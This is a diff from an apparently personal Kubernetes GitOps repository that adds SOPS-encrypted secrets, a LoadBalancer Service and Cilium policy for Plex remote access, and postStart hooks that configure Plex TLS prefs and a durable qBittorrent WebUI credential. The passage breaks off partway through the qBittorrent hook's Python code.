+# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
+# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
+# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
+# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
+# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
+#
+# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
+# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
+# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
+# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
+#
+# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
+# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
+# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
+#
+# WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
+# s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against
+# the same file extracted from the running `plexinc/pms-docker:latest` image):
+#   - line 106 guards the claim exchange on TWO conditions: PLEX_CLAIM non-empty AND the
+#     PlexOnlineToken pref read out of /config empty. Once the server is claimed that block is
+#     skipped entirely, so whatever this Secret holds is a NO-OP on every later start. Upstream
+#     README: "If server is already logged in, this parameter is ignored."
+#   - on a still-UNCLAIMED /config, an invalid or expired token makes plex.tv answer 403 with an
+#     empty body. curl's exit status is never checked, the sed for the authentication-token element
+#     yields the empty string, and the success branch at line 120 simply does not fire. There is no
+#     else branch and no non-zero exit; the script has no `set -e` and ends by touching
+#     /.firstRunComplete and echoing, so it exits 0. The server comes up UNCLAIMED and serving.
+#     It does NOT crashloop.
+#   - the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS, whose default is 0 ("continue silently even
+#     if a cont-init script failed"), so even a hypothetical non-zero exit would not halt startup.
+# A MISSING Secret would NOT be safe: the ServiceDefinition schema's valueFrom.secretKeyRef shape
+# has no `optional` field, so an absent Secret is a hard CreateContainerConfigError. That is exactly
+# why this file is committed and listed in apps/wave-0/kustomization.yaml instead of being created
+# by hand at claim time.
+#
+# INJECTION / ROTATION (operator, not agents) — runbooks/plex-claim.md has the timed procedure:
+#   infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
+# Never decrypt this file into a shell, a log, or a shared terminal.
+apiVersion: v1
+kind: Secret
+metadata:
+    name: plex-claim
+    namespace: plex
+    labels:
+        app.kubernetes.io/name: plex
+type: Opaque
+stringData:
+    PLEX_CLAIM: ENC[AES256_GCM,data:nLmzeUBWRhRjUakrGiGzQpQuqZNcIYvRH6M=,iv:z0on/dArsNejNLrp3V1nSiNLFzKcREhPuMO1634CwQw=,tag:Ih23CT1JYna/5lfYQUb1Dw==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSA2dWtqOVNQalZ2QlRxOXJa
+            cDc1MTdtWENkdWIxS1JId3dIU1JDSmk0ODNrCk1YUzhFWXR3bUxyV2NNcmFOakdz
+            THl1Q284dFJxTy9Rd1h0eXJJaVZtdmcKLS0tIERuN0ZFeW9zdi9aNFRYNWxmUS9s
+            QUtYdHEvN042ajNoNktOLzlYQmQrc1kK4NHozMbXVzNGYbUBRbK6a9Uw/sVPAfe6
+            RW5KWzZ4I/hloqjN3zzVISoSMieMkBGDnF5qZS5N6FqIc6/HrsDD8A==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-09-29T06:31:16Z"
+    mac: ENC[AES256_GCM,data:62BmBAq45CD2g6LDyx+Ho4bTfrhJcaro/RB/iM+OaRc4a/D83MhjbcBL11Uz/O726inqhkvCKDJ/fFemoc50JDbtC79cYMaxrGJNjFM0sdckWrowPvh6ie7HHHUBRBaefl+gNfnc+pbvcncvRzwA4RyzcZse1wbxKfHN8FjEopE=,iv:h0cMShs3tIgnY6eruUYymYrcLFzQZLk/uXQJ/Jsd5ek=,tag:nZ9Pau7p4xWT1QCN1vv2vA==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/wave-0/plex-remote.yaml

@@ -0,0 +1,126 @@
+---
+# =================================================================================================
+# PLEX REMOTE ACCESS — raw tcp/32400 north-south exposure, and the policy that admits it.
+# =================================================================================================
+# HAND-WRITTEN, NOT RENDERED. A non-catalog app-tier unit anchored to the `plex` ServiceDefinition
+# and placed into wave 0 by `catalog/render.py --emit-waves` via its EXTRA_UNITS table — the same
+# mechanism gitea-actions and pihole-dns use. It is hand-written for the SAME reason those are:
+# schemas/servicedefinition.schema.json is `additionalProperties: false` and has NO field for a
+# type=LoadBalancer Service, for a pinned lbipam VIP, or for raw-TCP north-south exposure at all.
+# `ingressRoutes` renders HTTPRoutes on the shared Gateway, which is an L7 HTTPS terminator.
+#
+# WHY THE L7 GATEWAY IS NOT ENOUGH HERE — and it is NOT because the Gateway fails to serve Plex.
+# Measured 2026-10-03 through the Gateway VIP: `GET https://plex.home.keithjackson.dev/identity`
+# returned HTTP 200 with `claimed="1"` and the real machineIdentifier, and the protected endpoints
+# (/library/sections, /status/sessions, /:/prefs) all returned 401. The L7 path WORKS.
+#
+# The problem is DISCOVERY, not proxying. Plex apps (phone, TV, Roku) do not resolve
+# `plex.${BASE_DOMAIN}`; they ask plex.tv for the server's connection list. A server gets onto that
+# list one of two ways: it advertises a custom URL (`customConnections`, the ADVERTISE_IP env), or it
+# publishes a reachable public IP:port for its own tcp/32400. Measured in the live Preferences.xml on
+# 2026-10-03: `customConnections` ABSENT, `ManualPortMappingMode` ABSENT, while
+# `PublishServerOnPlexOnlineKey="1"` — the server was trying to publish and had nothing reachable to
+# publish, so remote clients saw NO connection at all. The operator chose the NATIVE path (this
+# file) over advertising the Gateway URL: Plex then terminates its own TLS with its
+# `*.plex.direct` certificate and video streams bypass the Envoy L7 hop entirely.
+#
+# VIP: ${PLEX_L4_VIP} (cluster-vars, R-ENV-02 — dev 192.168.1.57, prod 192.168.2.24), PINNED via
+# lbipam.cilium.io/ips out of the CiliumLoadBalancerIPPool `default-pool`
+# (${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP}) and ARP-announced on the flat LAN by the existing
+# CiliumL2AnnouncementPolicy `default-l2` (platform-config/cilium/*). No new Cilium config is needed;
+# this Service just consumes the pool. PINNING IS NOT OPTIONAL: the address is typed into a WAN
+# port-forward on the SOHO router, which is hand-maintained and off-repo, so it can never move.
+# 192.168.2.24 verified FREE live 2026-10-03 — `default-pool` reported IPsTotal 11 / IPsUsed 4 /
+# IPsAvailable 7, and the only four allocations were .20 (cilium-gateway-shared), .21 (unifi-l4-*),
+# .22 (crafty-l4-*) and .23 (pihole-dns-*).
+#
+# ONE SERVICE, TCP ONLY. Unlike unifi/crafty/pihole-dns this needs no second Service and no
+# lbipam.cilium.io/sharing-key: Plex's remote access is tcp/32400 and nothing else. (Plex's
+# DLNA/GDM discovery uses UDP, but that is LAN-only multicast and is not part of remote access.)
+#
+# NO `loadBalancerSourceRanges`, DELIBERATELY — and this is the one place this file diverges from
+# its closest sibling. apps/wave-0/pihole-dns.yaml pins its source range to ${LAN_CIDR} because a
+# resolver must never answer the internet. This Service is the OPPOSITE case: admitting remote
+# clients from arbitrary internet addresses is its entire purpose, so there is no range to narrow
+# to. Plex authenticates every caller itself (measured above: 401 on every protected endpoint
+# without a token), which is what makes an unfiltered port defensible here.
+#
+# NO external-dns ANNOTATION, DELIBERATELY. unifi and crafty both carry
+# `external-dns.alpha.kubernetes.io/hostname` so external-dns publishes their VIP as a public
+# Cloudflare record. This Service must not, for pihole-dns's reason: ${PLEX_L4_VIP} is an RFC1918
+# address that is useless in public DNS. Remote clients get this server's address from plex.tv, not
+# from the zone. The existing public `plex.${BASE_DOMAIN}` record is published from the rendered
+# HTTPRoute via the gateway source and is NOT affected by this file — the web UI keeps working
+# through the Gateway exactly as before.
+#
+# -------------------------------------------------------------------------------------------------
+# externalTrafficPolicy: Cluster — inherited from crafty's 8-DAY LAN OUTAGE, not re-derived.
+# -------------------------------------------------------------------------------------------------
+# `Local` is the tempting choice because it preserves the client source IP, which this service
+# actually has a use for (see the allowedNetworks note below). It is still WRONG here, for the
+# reason platform/crafty/service-l4.yaml documents at length: Cilium's L2 announcer elects ONE lease
+# holder per Service and does NOT follow the backend pod, so with `Local` the VIP can be announced
+# by a node that has no Plex pod, which black-holes the port while every object still reports
+# healthy. Plex is a single-replica Deployment with `strategy: Recreate` pinned to wherever the
+# scheduler put it, so the mismatch is the normal case, not a rare one. Take the SNAT.
+#
+# KNOWN CONSEQUENCE OF THAT CHOICE, stated rather than discovered later: `Cluster` SNATs the client
+# to the ingress NODE's address (192.168.2.1x), which falls inside the `192.168.0.0/16` entry of
+# catalog/plex.yaml's ALLOWED_NETWORKS. Plex will therefore classify every REMOTE client as LAN.
+# Measured 2026-10-03 on the Gateway path, which SNATs the same way: Plex logged the request as
+# `[10.0.2.214:36040 (Allowed Network (WAN))]`. This is a METERING effect, not a security one —
+# authorization is unchanged (401s above), but Plex's remote-quality/bandwidth limits will not bind
+# on these streams because it believes they are local. Narrowing ALLOWED_NETWORKS cannot fix it
+# without also de-classifying genuine LAN clients, so it is accepted.
+apiVersion: v1
+kind: Service
+metadata:
+  name: plex-l4-tcp
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+  annotations:
+    lbipam.cilium.io/ips: "${PLEX_L4_VIP}"
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  selector:
+    app.kubernetes.io/name: plex
+  ports:
+    - name: plex-remote
+      port: 32400
+      targetPort: 32400
+      protocol: TCP
+---
+# INGRESS allow for the raw port (R-NET-01/02).
+#
+# The rendered plex.yaml already carries `plex-allow-gateway-ingress` (fromEntities: ingress ->
+# 32400) and three reciprocal allows for sonarr/radarr/seerr. CiliumNetworkPolicies are ADDITIVE, so
+# this file adds the off-cluster case without touching those.
+#
+# `world` is Cilium's entity for anything outside the cluster, which is what a remote Plex client is.
+# `host` and `cluster` mirror platform/crafty/networkpolicy.yaml's game-port rule and are what make
+# this work under `externalTrafficPolicy: Cluster`: after SNAT the packet's source is the ingress
+# NODE, which Cilium classifies as `host` (same node) or `remote-node` (a different one) — NOT
+# `world`. Listing `world` alone would compile cleanly and then drop every remote stream, so all
+# four entities are named.
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-remote-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+    - fromEntities:
+        - world
+        - cluster
+        - host
+        - remote-node
+      toPorts:
+        - ports:
+            - { port: "32400", protocol: TCP }

apps/wave-0/plex.yaml

@@ -132,12 +132,42 @@ spec:
           value: Etc/UTC
         - name: ALLOWED_NETWORKS
           value: 10.0.0.0/8,192.168.0.0/16
+        - name: PLEX_CLAIM
+          valueFrom:
+            secretKeyRef:
+              name: plex-claim
+              key: PLEX_CLAIM
+        - name: ADVERTISE_IP
+          value: https://192-168-2-24.130072f20c334d6c8f63d0dfef87309b.plex.direct:32400
+        - name: PLEX_TLS_CRT
+          valueFrom:
+            secretKeyRef:
+              name: plex-vip-tls
+              key: tls.crt
+              optional: true
+        - name: PLEX_TLS_KEY
+          valueFrom:
+            secretKeyRef:
+              name: plex-vip-tls
+              key: tls.key
+              optional: true
+        resources:
+          limits:
+            gpu.intel.com/i915: 1
         volumeMounts:
         - name: config
           mountPath: /config
         - name: media
           mountPath: /media
           readOnly: true
+        lifecycle:
+          postStart:
+            exec:
+              command:
+              - /bin/bash
+              - -c
+              - "# NOTE \u2014 LOAD-BEARING: SHELL VARIABLES HERE ARE WRITTEN BARE, NEVER BRACE-WRAPPED.\n# This whole script is rewritten by Flux postBuild envsubst BEFORE it ever runs, so a\n# brace-wrapped name is read as a cluster-vars knob: an undeclared one is a HARD\n# Kustomization failure under StrictPostBuildSubstitutions, and a declared one would be\n# replaced with its value. Shell vars are therefore `$PX`, `$TOKEN`, `$P12` \u2014 bare. Only\n# BASE_DOMAIN below is brace-wrapped, because it IS a knob and IS meant to be\n# substituted. Command substitution `$(cmd)` is left alone and needs no escaping. A shell\n# variable written with braces would be blanked or would fail the whole Kustomization \u2014\n# this repo has already lost a gitea OIDC bootstrap to exactly that mistake, and\n# catalog/render.py now refuses to emit it (which is how this very comment got caught).\n# DELIBERATELY NO `set -u`. The TLS env vars are declared `optional: true`, so when the\n# certificate has not issued yet they are genuinely UNSET, not empty \u2014 and under `set -u`\n# the first `[ -n \"$PLEX_TLS_CRT\" ]` would abort the script, which for a postStart hook\n# means kubelet KILLS THE CONTAINER. That is the precise failure the `optional` flag exists\n# to prevent, so turning it back on here would defeat the whole design. (The alternative,\n# a brace-wrapped `:-` default, would need envsubst escaping \u2014 the trap the note above\n# describes.) Every value below is explicitly guarded instead.\nPX=\"/config/Library/Application Support/Plex Media Server/Preferences.xml\"\nCERTDIR=/config/certs\nP12=$CERTDIR/plex-vip.p12\n# The PKCS#12 passphrase protects nothing and is deliberately not a secret: Plex needs it\n# in cleartext in customCertificateKey, and it and the bundle sit on the same PVC. It is a\n# container-format requirement, not an access control.\nP12PASS=plexvip\nLANNETS='10.0.0.0/8,192.168.0.0/16'\nCERTDOMAIN=plex-vip.${BASE_DOMAIN}\nAPI=http://127.0.0.1:32400\n\n# (1) Build the PKCS#12 bundle from the PEM the Secret supplies. Rebuilt on every start so\n# a cert-manager RENEWAL is picked up with no extra moving part.\nif [ -n \"$PLEX_TLS_CRT\" ] && [ -n \"$PLEX_TLS_KEY\" ]; then\n  mkdir -p $CERTDIR && chmod 700 $CERTDIR\n  printf '%s' \"$PLEX_TLS_CRT\" > $CERTDIR/tls.crt\n  printf '%s' \"$PLEX_TLS_KEY\" > $CERTDIR/tls.key\n  chmod 600 $CERTDIR/tls.key\n  if openssl pkcs12 -export -out $P12.tmp -inkey $CERTDIR/tls.key \\\n       -in $CERTDIR/tls.crt -passout pass:$P12PASS 2>/dev/null; then\n    mv -f $P12.tmp $P12\n    chown 1000:1000 $P12 2>/dev/null || true\n    chmod 600 $P12\n    echo \"[plex-settings] PKCS#12 bundle written\"\n  else\n    rm -f $P12.tmp\n    echo \"[plex-settings] WARN: pkcs12 export failed; keeping any previous bundle\" >&2\n  fi\n  rm -f $CERTDIR/tls.key\nelse\n  echo \"[plex-settings] WARN: TLS env empty; certificate not installed this start\" >&2\nfi\n\n# (2) Wait, bounded (~90s), for the local API. /identity needs no auth.\ni=0\nwhile [ \"$i\" -lt 45 ]; do\n  if [ \"$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 $API/identity 2>/dev/null)\" = \"200\" ]; then\n    break\n  fi\n  i=$(expr $i + 1); sleep 2\ndone\n\n# (3) The prefs API needs the server token. It already lives in Preferences.xml on this\n# PVC; it is never echoed here, and Plex redacts tokens in its own request log. An\n# UNCLAIMED server has none \u2014 a normal state on a fresh /config \u2014 so skip, do not fail.\nTOKEN=$(grep -o 'PlexOnlineToken=\"[^\"]*\"' \"$PX\" 2>/dev/null | head -1 | cut -d'\"' -f2)\nif [ -z \"$TOKEN\" ]; then\n  echo \"[plex-settings] not claimed yet \u2014 skipping prefs, will retry next start\" >&2\n  exit 0\nfi\n\n# Percent-encode what our values actually contain. Plex takes prefs as QUERY parameters on\n# a PUT, so a raw '/' or ',' would be read as structure rather than data.\nenc() {\n  printf '%s' \"$1\" | sed -e 's|%|%25|g' -e 's|/|%2F|g' -e 's|,|%2C|g' \\\n                         -e 's|:|%3A|g' -e 's| |%20|g'\n}\nsetpref() {\n  code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 10 -X PUT\
+                \ \\\n    -H \"X-Plex-Token: $TOKEN\" \"$API/:/prefs?$1=$(enc \"$2\")\" 2>/dev/null)\n  if [ \"$code\" = \"200\" ]; then\n    echo \"[plex-settings] set $1\"\n  else\n    echo \"[plex-settings] WARN: $1 -> HTTP $code\" >&2\n  fi\n}\n\n# (4) THE LAN DEFINITION \u2014 the reason this hook was written. Without it Plex has NO notion\n# of a local network and tags EVERY client remote. Measured 2026-10-04: 468 requests\n# logged \"Allowed Network (WAN)\" and ZERO \"(LAN)\", including Seerr from inside the\n# cluster, which is why the server showed as Remote to LAN clients. Note allowedNetworks\n# (the ALLOWED_NETWORKS env) only waives AUTH \u2014 it does NOT make a client local. Two\n# different settings; only one of them has an env hook.\nsetpref LanNetworksBandwidth \"$LANNETS\"\n\n# (5) THE CERTIFICATE, which is what makes the `https` in ADVERTISE_IP servable. Set only\n# if the bundle exists \u2014 pointing Plex at a missing file would break its TLS listener.\nif [ -s \"$P12\" ]; then\n  setpref customCertificatePath \"$P12\"\n  setpref customCertificateKey \"$P12PASS\"\n  setpref customCertificateDomain \"$CERTDOMAIN\"\nelse\n  echo \"[plex-settings] WARN: no bundle; leaving certificate prefs untouched\" >&2\nfi\nexit 0\n"
       volumes:
       - name: config
         persistentVolumeClaim:
@@ -162,6 +192,28 @@ spec:
     port: 32400
     targetPort: 32400
 ---
+# CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-radarr-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-radarr-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: radarr
+        k8s:io.kubernetes.pod.namespace: radarr
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-seerr-32400
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -184,6 +236,28 @@ spec:
       - port: '32400'
         protocol: TCP
 ---
+# CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): plex-allow-sonarr-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: plex-allow-sonarr-32400
+  namespace: plex
+  labels:
+    app.kubernetes.io/name: plex
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: plex
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: sonarr
+        k8s:io.kubernetes.pod.namespace: sonarr
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy gateway-ingress allow (R-NET-01/02): plex-allow-gateway-ingress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -244,26 +318,6 @@ spec:
     - name: plex
       port: 32400
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: plex
-  namespace: plex
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: plex
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: plex
-  namespaceSelector:
-    matchNames:
-    - plex
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -278,11 +332,11 @@ spec:
   - name: plex.slis
     rules:
     - alert: plex-down
-      expr: up{job="plex"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="plex", deployment="plex"} == 0 or absent(kube_deployment_status_replicas_available{namespace="plex", deployment="plex"})
       for: 5m
       labels:
         severity: critical
         service: plex
       annotations:
         summary: plex is down
-        description: 'plex has been unreachable for 5m (SLI: up).'
+        description: 'plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/qbittorrent-bootstrap-secret.sops.yaml

@@ -0,0 +1,60 @@
+# qBittorrent DURABLE WebUI credential (WS-APPS). SOPS-encrypted (age), decrypted in-cluster by Flux.
+#
+# WHY THIS FILE EXISTS (defect, measured on prod 2026-09-13):
+#   qBittorrent.conf on the config PVC carried NEITHER `WebUI\Username` NOR
+#   `WebUI\Password_PBKDF2`. qBittorrent 5.x treats that as "no credential set" and generates a NEW
+#   random `admin` password on EVERY process start, announcing it ONLY on stdout ("A temporary
+#   password is provided for this session: ..."). Consequences, both real: (a) Sonarr's and Radarr's
+#   saved download-client credentials stop working at the next qbittorrent pod restart, silently
+#   breaking Completed Download Handling; (b) a human operator has no stable login at all and must
+#   read the pod log after every restart.
+#
+# HOW IT IS APPLIED: catalog/qbittorrent.yaml's app container reads BOTH keys below as env
+#   (QBT_WEBUI_USERNAME / QBT_WEBUI_PASSWORD) and its `lifecycle.postStart` hook — the same idiom as
+#   gitea's break-glass admin bootstrap — DERIVES the PBKDF2-HMAC-SHA512 digest qBittorrent stores
+#   and asserts both keys into /config/qBittorrent/qBittorrent.conf on EVERY container start, then
+#   verifies the WebUI actually accepts them. Level-triggered: a pod restart, a config-PVC restore
+#   from an older backup, and a rebuild-from-git onto an EMPTY PVC all end with this SAME
+#   credential, because the hook re-asserts it on every start rather than once.
+#
+# webui-username: the WebUI account name. qBittorrent has exactly ONE local account, and `admin` is
+#   the name its own temporary-password path uses, so keeping it avoids inventing a second identity.
+# webui-password: the durable plaintext. It is ALSO what Sonarr's and Radarr's download-client
+#   entries store in their own databases (app state on their config PVCs, NOT in git — see
+#   DECISIONS-LOG), so rotating it here means re-pointing both arrs.
+#   Deliberately alphanumeric: it travels through a urlencoded WebAPI login body and two arr JSON
+#   payloads, and a shell/URL-special character in any of those is a bug waiting to happen.
+#
+# NEVER put a value in a comment: SOPS does NOT encrypt comments.
+# Recover with: infra/devcontainer/dev.sh run sops -d apps/wave-0/qbittorrent-bootstrap-secret.sops.yaml
+apiVersion: v1
+kind: Secret
+metadata:
+    name: qbittorrent-bootstrap
+    namespace: qbittorrent
+    labels:
+        app.kubernetes.io/name: qbittorrent
+type: Opaque
+stringData:
+    webui-username: ENC[AES256_GCM,data:P022nG0=,iv:MXcCXsD5hs7MAJ+OAYHkZ3pXep7XGPqeAExChoqna08=,tag:WE34mxtfQRgiwPRaDA12pQ==,type:str]
+    webui-password: ENC[AES256_GCM,data:+Lx0Ny7SBZeF/CzQYm8umntw27ewyXS7unWObpl0fCg=,iv:JkAtublBMS7SJUutAFip1XjdmsKnGe+S2E9QDT4rCJk=,tag:MYptPVgoEUEpXe5kmg1xIg==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB1aWpUY04wZHoyWVdPbGU2
+            TC9vaU5oYmhWSVh3YWVTdzkvU3Axdlh6QVFZCkV4MldaZXNyam5CejQyZStyczJ3
+            UStFd0hRQmRsNGZLVEVTRnVjWXp6SVkKLS0tICtkWlRqVGN5OWYvVnZUaHYvbEZv
+            VWtHMVdDU3hmdXo1TndLb05zQzJ0S28KfqlDBTocO0ZAKtH6ad/00EeVRqZ7WMwv
+            FP2evd5vyn95QQICWhY/LH6EKbwVVlcIlL7i9l8K3kK4Ebdk54mAyw==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-09-13T05:23:23Z"
+    mac: ENC[AES256_GCM,data:hQ7jIgFqpNcFY5H4AfMxuslC2R/2wGmGWtghemOmTUUipSdoGdbNjWGQhxzk40lFjw6Zj2b+buOpXpg70s4xr+4feusqa2TJ3+bxAuRWmuZpTQAU2OaO5v0SdDEs3gwKm2mA3JFo/e6POm/P/kf2GIECcyU1AciZQt6ws7UJmQc=,iv:6SF0ZAuzHQThD/FGbWhFfa4dXU8hyW8jWFiDmwgfFU8=,tag:31i8HM2s/mGeS4zvFxO53Q==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/wave-0/qbittorrent.yaml

@@ -130,12 +130,31 @@ spec:
           value: '1000'
         - name: PGID
           value: '3000'
+        - name: QBT_WEBUI_USERNAME
+          valueFrom:
+            secretKeyRef:
+              name: qbittorrent-bootstrap
+              key: webui-username
+        - name: QBT_WEBUI_PASSWORD
+          valueFrom:
+            secretKeyRef:
+              name: qbittorrent-bootstrap
+              key: webui-password
         volumeMounts:
         - name: config
           mountPath: /config
         - name: downloads
           mountPath: /downloads
           subPath: downloads
+        lifecycle:
+          postStart:
+            exec:
+              command:
+              - /bin/bash
+              - -c
+              - "# Assert the durable WebUI credential in the config PVC's qBittorrent.conf, then PROVE the\n# running WebUI accepts it. Idempotent: the steady-state path writes nothing at all.\n#\n# THIS SCRIPT CONTAINS NO BRACED DOLLAR EXPANSION AT ALL, AND THAT IS DELIBERATE.\n# apps-wave-0 declares postBuild.substituteFrom cluster-vars, so Flux runs envsubst over\n# this whole manifest at RECONCILE time. The repo's escape contract (double the dollar;\n# enforced by render.py's assert_substitution_safe) makes such a form correct ON THE\n# CLUSTER \u2014 but only there:\n# envsubst collapses the doubled dollar, so the SAME text run any other way (a `kubectl\n# apply` of the golden, which runs no envsubst; a hand `kubectl exec` of the script during\n# development) keeps the doubled dollar, which bash reads as its own PID. Not hypothetical;\n# see the PORT comment below for the bug it actually caused here. Bare `$VAR` and `$(cmd)`\n# are untouched by envsubst, so they are used throughout and the script behaves IDENTICALLY\n# however it is run.\nset -u\nCONF=/config/qBittorrent/qBittorrent.conf\nSVC=/run/service/svc-qbittorrent\n# The WebUI's listening port, as a LITERAL. It matches ingressRoutes[0].port in this\n# ServiceDefinition \u2014 which is the single place the renderer takes the containerPort, the\n# Service port and the HTTPRoute backend port from \u2014 and the image exposes no WEBUI_PORT\n# env var for a lookup to read anyway.\n# It USED to be a doubled-dollar default-operator expansion of a WEBUI_PORT env var, and\n# that cost real time: run without envsubst, bash read the doubled dollar as its own PID,\n# so PORT became \"<pid>{WEBUI_PORT:-8080}\" \u2014 the brace never expanded, the digits never\n# matched. Every curl below then got an unparseable URL, returned nothing, and the hook\n# logged \"the WebUI rejected the durable\n# credential\" \u2014 having never actually asked it. That MISDIAGNOSIS is preserved in this\n# service's own marker log at 2026-09-13T05:35Z (three \"rejected\" lines, then GAVE UP,\n# against a WebUI that accepted the credential perfectly well). A literal cannot be mangled.\nPORT=8080\n# A postStart hook's stdout/stderr goes to the KUBELET, not to `kubectl logs` \u2014 so a hook\n# that only echoes is effectively silent (gitea's hits the same wall and writes a marker\n# file for it). Every outcome therefore also lands, timestamped, on the persistent config\n# volume: /config/qbittorrent-webui-cred.log is where an operator looks to see whether the\n# credential from git was asserted and accepted on this start.\nlog() {\n  echo \"[qbt-webui-cred] $*\"\n  printf '%s [qbt-webui-cred] %s\\n' \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\" \"$*\" \\\n    >> /config/qbittorrent-webui-cred.log 2>/dev/null || true\n}\n\n# (1) The image's init-qbittorrent-config copies /defaults/qBittorrent.conf onto the PVC\n#     before it starts the service. Wait (bounded, ~30s) so we EDIT that file instead of\n#     racing to create one it would then not overwrite.\nn=0\nwhile [ ! -s \"$CONF\" ] && [ \"$n\" -lt 120 ]; do n=$((n + 1)); sleep 0.25; done\n\nwaited=0\nattempt=0\nwhile [ \"$attempt\" -lt 3 ]; do\n  attempt=$((attempt + 1))\n\n  # (2) Converge the conf. 0 = already correct (steady state: NO write, NO re-salt),\n  #     10 = rewritten, anything else = could not write.\n  python3 - \"$CONF\" <<'PY'\nimport base64, hashlib, hmac, os, stat, sys\n\nconf = sys.argv[1]\nuser = os.environ.get(\"QBT_WEBUI_USERNAME\", \"\")\npw = os.environ.get(\"QBT_WEBUI_PASSWORD\", \"\")\nif not user or not pw:\n    sys.stderr.write(\"[qbt-webui-cred] credential env is empty - refusing to touch the conf\\n\")\n    raise SystemExit(1)\n\n# qBittorrent's OWN parameters (base/utils/password.cpp): PBKDF2-HMAC-SHA512, 100000\n# iterations, 16-byte random salt, 64-byte digest, stored as\n#   WebUI\\Password_PBKDF2=\"@ByteArray(<base64 salt>:<base64 digest>)\"\n# Get any one of them wrong and the app simply rejects every login.\nITERATIONS, DIGEST_LEN, SALT_LEN = 100000, 64, 16\nUKEY, PKEY, SECTION = \"WebUI\\\\Username\", \"WebUI\\\\Password_PBKDF2\"\
+                , \"[Preferences]\"\n\ndef matches(raw):\n    \"\"\"True iff the stored digest is one OUR password produces (salt is read from it).\"\"\"\n    v = raw.strip().strip('\"')\n    if v.startswith(\"@ByteArray(\") and v.endswith(\")\"):\n        v = v[len(\"@ByteArray(\"):-1]\n    try:\n        salt_b64, digest_b64 = v.split(\":\", 1)\n        salt = base64.b64decode(salt_b64, validate=True)\n        digest = base64.b64decode(digest_b64, validate=True)\n    except Exception:\n        return False\n    if not salt or not digest:\n        return False\n    return hmac.compare_digest(\n        hashlib.pbkdf2_hmac(\"sha512\", pw.encode(), salt, ITERATIONS, len(digest)), digest)\n\ntry:\n    lines = open(conf, encoding=\"utf-8\", errors=\"replace\").read().splitlines()\nexcept FileNotFoundError:\n    lines = []\n\ndef value_of(key):\n    for i, line in enumerate(lines):\n        if line.startswith(key + \"=\"):\n            return i, line.split(\"=\", 1)[1]\n    return -1, None\n\nui, uval = value_of(UKEY)\npi, pval = 